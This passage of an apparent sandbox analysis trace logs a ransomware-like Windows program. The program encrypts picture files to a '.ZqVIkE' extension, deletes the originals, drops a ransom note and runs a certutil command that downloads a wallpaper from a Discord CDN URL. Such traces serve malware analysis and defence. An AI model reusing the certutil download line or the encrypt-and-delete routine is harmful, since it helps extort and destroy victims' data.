"c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\f2jvpkj4tpz\\swcsavc_.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0121.869] GetFileType (hFile=0x380) returned 0x1 [0121.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0121.869] GetFileType (hFile=0x380) returned 0x1 [0122.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif", lpFilePart=0x0) returned 0x3b [0122.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0122.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\f2jvpkj4tpz\\swcsavc_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0122.538] GetFileType (hFile=0x37c) returned 0x1 [0122.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0122.538] GetFileType (hFile=0x37c) returned 0x1 [0122.539] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x18fc7, lpOverlapped=0x0) returned 1 [0122.548] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0122.548] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0122.554] WriteFile (in: hFile=0x380, lpBuffer=0x26fdc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x26fdc18*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0122.555] WriteFile (in: hFile=0x380, lpBuffer=0x127a29b8*, nNumberOfBytesToWrite=0x17fe0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x127a29b8*, lpNumberOfBytesWritten=0x71ee88*=0x17fe0, lpOverlapped=0x0) returned 1 [0122.556] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0122.556] CloseHandle (hObject=0x37c) returned 1 [0122.556] WriteFile (in: hFile=0x380, lpBuffer=0x26fdc18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x26fdc18*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0122.556] CloseHandle (hObject=0x380) returned 1 [0122.559] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif", lpFilePart=0x0) returned 0x3b [0122.559] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\f2jvpkj4tpz\\swcsavc_.gif")) returned 1 [0122.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp.ZqVIkE", lpFilePart=0x0) returned 0x37 [0122.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0122.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\_xsw54t\\kukoko.bmp.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0122.564] GetFileType (hFile=0x380) returned 0x1 [0122.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0122.564] GetFileType (hFile=0x380) returned 0x1 [0123.252] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp", lpFilePart=0x0) returned 0x30 [0123.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0123.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\_xsw54t\\kukoko.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0123.253] GetFileType (hFile=0x37c) returned 0x1 [0123.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0123.253] GetFileType (hFile=0x37c) returned 0x1 [0123.254] ReadFile (in: hFile=0x37c, lpBuffer=0x127ba9d0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127ba9d0*, lpNumberOfBytesRead=0x71ee98*=0xfce4, lpOverlapped=0x0) returned 1 [0123.263] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0123.263] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0123.265] WriteFile (in: hFile=0x380, lpBuffer=0x25e53d0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x25e53d0*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0123.266] WriteFile (in: hFile=0x380, lpBuffer=0x25e7e38*, nNumberOfBytesToWrite=0xed00, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x25e7e38*, lpNumberOfBytesWritten=0x71ee88*=0xed00, lpOverlapped=0x0) returned 1 [0123.266] ReadFile (in: hFile=0x37c, lpBuffer=0x127ba9d0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127ba9d0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0123.267] CloseHandle (hObject=0x37c) returned 1 [0123.267] WriteFile (in: hFile=0x380, lpBuffer=0x25e53d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x25e53d0*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0123.267] CloseHandle (hObject=0x380) returned 1 [0123.269] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp", lpFilePart=0x0) returned 0x30 [0123.269] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\kUKoKO.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\_xsw54t\\kukoko.bmp")) returned 1 [0123.286] CoTaskMemAlloc (cb=0x20c) returned 0x1ae54860 [0123.286] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1ae54860 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0 [0123.286] CoTaskMemFree (pv=0x1ae54860) [0123.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x71e890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0123.290] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\@READ_ME@.txt", nBufferLength=0x105, lpBuffer=0x71e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\@READ_ME@.txt", lpFilePart=0x0) returned 0x25 [0123.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ecd0) returned 1 [0123.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\@READ_ME@.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\@read_me@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x380 [0123.291] GetFileType (hFile=0x380) returned 0x1 [0123.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ec40) returned 1 [0123.291] GetFileType (hFile=0x380) returned 0x1 [0123.292] WriteFile (in: hFile=0x380, lpBuffer=0x25f9d58*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x71edf8, lpOverlapped=0x0 | out: lpBuffer=0x25f9d58*, lpNumberOfBytesWritten=0x71edf8*=0x144, lpOverlapped=0x0) returned 1 [0123.293] CloseHandle (hObject=0x380) returned 1 [0123.302] LocalAlloc (uFlags=0x0, uBytes=0xf4) returned 0x9a78d0 [0125.521] LocalFree (hMem=0x9d8500) returned 0x0 [0125.521] LocalFree (hMem=0x9a78d0) returned 0x0 [0125.526] GetCurrentProcess () returned 0xffffffffffffffff [0125.526] GetCurrentProcess () returned 0xffffffffffffffff [0125.526] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x530, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x71ef30, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x71ef30*=0x38c) returned 1 [0137.180] CloseHandle (hObject=0x38c) returned 1 [0137.181] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0 [0147.195] CoTaskMemAlloc (cb=0x20c) returned 0x1ae561e0 [0147.195] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ae561e0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\FMQfOR9qzmUMMeEO.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\fmqfor9qzmummeeo.exe")) returned 0x2c [0147.195] CoTaskMemFree (pv=0x1ae561e0) [0147.195] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x71e8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0147.201] SystemParametersInfoW (in: uiAction=0x14, uiParam=0x0, pvParam="C:\\Users\\FD1HVy\\Desktop\\wal.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\wal.bmp"), fWinIni=0x3 | out: pvParam=0x25fbccc) returned 1 [0147.561] CoGetContextToken (in: pToken=0x71fc00 | out: pToken=0x71fc00) returned 0x0 [0147.561] CObjectContext::QueryInterface () returned 0x0 [0147.561] CObjectContext::GetCurrentThreadType () returned 0x0 [0147.561] Release () returned 0x0 [0147.561] CoGetContextToken (in: pToken=0x71f700 | out: pToken=0x71f700) returned 0x0 [0147.561] CObjectContext::QueryInterface () returned 0x0 [0147.561] CObjectContext::GetCurrentThreadType () returned 0x0 [0147.561] Release () returned 0x0 [0147.562] CoGetContextToken (in: pToken=0x71f700 | out: pToken=0x71f700) returned 0x0 [0147.562] CObjectContext::QueryInterface () returned 0x0 [0147.562] CObjectContext::GetCurrentThreadType () returned 0x0 [0147.562] Release () returned 0x0 [0147.568] CoGetContextToken (in: pToken=0x71f700 | out: pToken=0x71f700) returned 0x0 [0147.568] CObjectContext::QueryInterface () returned 0x0 [0147.568] CObjectContext::GetCurrentThreadType () returned 0x0 [0147.568] Release () returned 0x0 [0147.576] CoGetContextToken (in: pToken=0x71f720 | out: pToken=0x71f720) returned 0x0 [0147.576] CObjectContext::QueryInterface () returned 0x0 [0147.576] CObjectContext::GetCurrentThreadType () returned 0x0 [0147.576] Release () returned 0x0 [0147.576] CoUninitialize () Thread: id = 2 os_tid = 0xd50 Thread: id = 3 os_tid = 0xfa0 Thread: id = 4 os_tid = 0x111c [0048.065] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0048.065] RoInitialize () returned 0x1 [0048.065] RoUninitialize () returned 0x0 [0053.425] CloseHandle (hObject=0x334) returned 1 [0053.425] CloseHandle (hObject=0x348) returned 1 [0053.425] CloseHandle (hObject=0x33c) returned 1 [0053.425] CloseHandle (hObject=0x34c) returned 1 [0053.425] CloseHandle (hObject=0x338) returned 1 [0053.425] CloseHandle (hObject=0x344) returned 1 [0053.425] CloseHandle (hObject=0x350) returned 1 [0053.426] CloseHandle (hObject=0x340) returned 1 [0147.561] SetWindowLongPtrW (hWnd=0x7014c, nIndex=-4, dwNewLong=0x7fff5d5d5090) returned 0x1b2708bc [0147.562] SetClassLongPtrW (hWnd=0x7014c, nIndex=-24, dwNewLong=0x7fff5d5d5090) returned 0x1b27086c [0147.563] PostMessageW (hWnd=0x7014c, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0147.563] GetModuleHandleW (lpModuleName=0x0) returned 0x390000 [0147.563] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.34f5582_r6_ad1", hInstance=0x390000) returned 0 [0147.564] EtwEventUnregister (RegHandle=0x4f0000009d31e0) returned 0x0 [0147.570] CloseHandle (hObject=0x32c) returned 1 [0147.574] CloseHandle (hObject=0x530) returned 1 [0147.574] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0147.576] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 5 os_tid = 0xf98 [0134.297] CoGetContextToken (in: pToken=0x1b04f830 | out: pToken=0x1b04f830) returned 0x0 [0134.297] CObjectContext::QueryInterface () returned 0x0 [0134.297] CObjectContext::GetCurrentThreadType () returned 0x0 [0134.297] Release () returned 0x0 Thread: id = 6 os_tid = 0xdd4 Thread: id = 7 os_tid = 0xdcc Thread: id = 8 os_tid = 0x57c [0123.312] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0123.314] RoInitialize () returned 0x1 [0123.314] RoUninitialize () returned 0x0 [0123.317] ShellExecuteExW (in: pExecInfo=0x25fb120*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/c certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x25fb120*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/c certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x530)) returned 1 [0125.455] CoGetContextToken (in: pToken=0x1b47f3e0 | out: pToken=0x1b47f3e0) returned 0x0 [0125.456] CoUninitialize () Thread: id = 9 os_tid = 0x708 Thread: id = 10 os_tid = 0x12c8 Thread: id = 11 os_tid = 0xba8 Thread: id = 12 os_tid = 0x34c Thread: id = 13 os_tid = 0x8b0 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7551d000" os_pid = "0x584" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:00010264" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 14 os_tid = 0x11b4 Thread: id = 15 os_tid = 0x840 Thread: id = 16 os_tid = 0x828 Thread: id = 17 os_tid = 0x7f8 Thread: id = 18 os_tid = 0x7f4 Thread: id = 19 os_tid = 0x760 Thread: id = 20 os_tid = 0x67c Thread: id = 21 os_tid = 0x678 Thread: id = 22 os_tid = 0x600 Thread: id = 23 os_tid = 0x5f8 Thread: id = 24 os_tid = 0x5e0 Thread: id = 25 os_tid = 0x588 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x28292000" os_pid = "0x10cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe60" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x10d4 [0125.842] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6b3330000 [0125.842] __set_app_type (_Type=0x1) [0125.842] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6b3346d00) returned 0x0 [0125.842] __getmainargs (in: _Argc=0x7ff6b3369200, _Argv=0x7ff6b3369208, _Env=0x7ff6b3369210, _DoWildCard=0, _StartInfo=0x7ff6b336921c | out: _Argc=0x7ff6b3369200, _Argv=0x7ff6b3369208, _Env=0x7ff6b3369210) returned 0 [0125.842] _onexit (_Func=0x7ff6b3347fd0) returned 0x7ff6b3347fd0 [0125.842] _onexit (_Func=0x7ff6b3347fe0) returned 0x7ff6b3347fe0 [0125.842] _onexit (_Func=0x7ff6b3347ff0) returned 0x7ff6b3347ff0 [0125.842] _onexit (_Func=0x7ff6b3348000) returned 0x7ff6b3348000 [0125.843] _onexit (_Func=0x7ff6b3348010) returned 0x7ff6b3348010 [0125.843] _onexit (_Func=0x7ff6b3348020) returned 0x7ff6b3348020 [0125.843] GetCurrentThreadId () returned 0x10d4 [0125.843] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x10d4) returned 0x7c [0125.843] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff5ce90000 [0125.843] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="SetThreadUILanguage") returned 0x7fff5ceaa990 [0125.843] SetThreadUILanguage (LangId=0x0) returned 0x409 [0125.853] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0125.853] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xba1476fd68 | out: phkResult=0xba1476fd68*=0x0) returned 0x2 [0125.854] VirtualQuery (in: lpAddress=0xba1476fd54, lpBuffer=0xba1476fcd0, dwLength=0x30 | out: lpBuffer=0xba1476fcd0*(BaseAddress=0xba1476f000, AllocationBase=0xba14670000, AllocationProtect=0x4, __alignment1=0xffff830e, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0125.854] VirtualQuery (in: lpAddress=0xba14670000, lpBuffer=0xba1476fcd0, dwLength=0x30 | out: lpBuffer=0xba1476fcd0*(BaseAddress=0xba14670000, AllocationBase=0xba14670000, AllocationProtect=0x4, __alignment1=0xffff830e, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0125.854] VirtualQuery (in: lpAddress=0xba14671000, lpBuffer=0xba1476fcd0, dwLength=0x30 | out: lpBuffer=0xba1476fcd0*(BaseAddress=0xba14671000, AllocationBase=0xba14670000, AllocationProtect=0x4, __alignment1=0xffff830e, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0125.854] VirtualQuery (in: lpAddress=0xba14674000, lpBuffer=0xba1476fcd0, dwLength=0x30 | out: lpBuffer=0xba1476fcd0*(BaseAddress=0xba14674000, AllocationBase=0xba14670000, AllocationProtect=0x4, __alignment1=0xffff830e, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0125.854] VirtualQuery (in: lpAddress=0xba14770000, lpBuffer=0xba1476fcd0, dwLength=0x30 | out: lpBuffer=0xba1476fcd0*(BaseAddress=0xba14770000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff830e, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0125.854] GetConsoleOutputCP () returned 0x1b5 [0125.862] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6b336fbb0 | out: lpCPInfo=0x7ff6b336fbb0) returned 1 [0125.862] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6b3358150, Add=1) returned 1 [0125.862] _get_osfhandle (_FileHandle=1) returned 0x50 [0125.862] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6b336fc04 | out: lpMode=0x7ff6b336fc04) returned 1 [0125.866] _get_osfhandle (_FileHandle=0) returned 0x4c [0125.866] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6b336fc00 | out: lpMode=0x7ff6b336fc00) returned 1 [0125.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0125.877] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x0) returned 1 [0125.883] _get_osfhandle (_FileHandle=1) returned 0x50 [0125.883] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6b336fc08 | out: lpMode=0x7ff6b336fc08) returned 1 [0125.888] _get_osfhandle (_FileHandle=1) returned 0x50 [0125.888] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0125.897] _get_osfhandle (_FileHandle=0) returned 0x4c [0125.897] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6b336fc0c | out: lpMode=0x7ff6b336fc0c) returned 1 [0125.908] _get_osfhandle (_FileHandle=0) returned 0x4c [0125.908] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0125.913] GetEnvironmentStringsW () returned 0x1ec89625b30* [0125.913] GetProcessHeap () returned 0x1ec89620000 [0125.913] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xa7c) returned 0x1ec896265c0 [0125.913] FreeEnvironmentStringsA (penv="A") returned 1 [0125.914] GetProcessHeap () returned 0x1ec89620000 [0125.914] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x8) returned 0x1ec89625b30 [0125.914] GetEnvironmentStringsW () returned 0x1ec89627050* [0125.914] GetProcessHeap () returned 0x1ec89620000 [0125.914] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xa7c) returned 0x1ec89627ae0 [0125.914] FreeEnvironmentStringsA (penv="A") returned 1 [0125.914] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xba1476ec18 | out: phkResult=0xba1476ec18*=0x88) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x0, lpData=0xba1476ec30*=0x4, lpcbData=0xba1476ec14*=0x1000) returned 0x2 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x4, lpData=0xba1476ec30*=0x1, lpcbData=0xba1476ec14*=0x4) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x0, lpData=0xba1476ec30*=0x1, lpcbData=0xba1476ec14*=0x1000) returned 0x2 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x4, lpData=0xba1476ec30*=0x0, lpcbData=0xba1476ec14*=0x4) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x4, lpData=0xba1476ec30*=0x40, lpcbData=0xba1476ec14*=0x4) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x4, lpData=0xba1476ec30*=0x40, lpcbData=0xba1476ec14*=0x4) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x0, lpData=0xba1476ec30*=0x40, lpcbData=0xba1476ec14*=0x1000) returned 0x2 [0125.914] RegCloseKey (hKey=0x88) returned 0x0 [0125.914] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xba1476ec18 | out: phkResult=0xba1476ec18*=0x88) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x0, lpData=0xba1476ec30*=0x40, lpcbData=0xba1476ec14*=0x1000) returned 0x2 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x4, lpData=0xba1476ec30*=0x1, lpcbData=0xba1476ec14*=0x4) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x0, 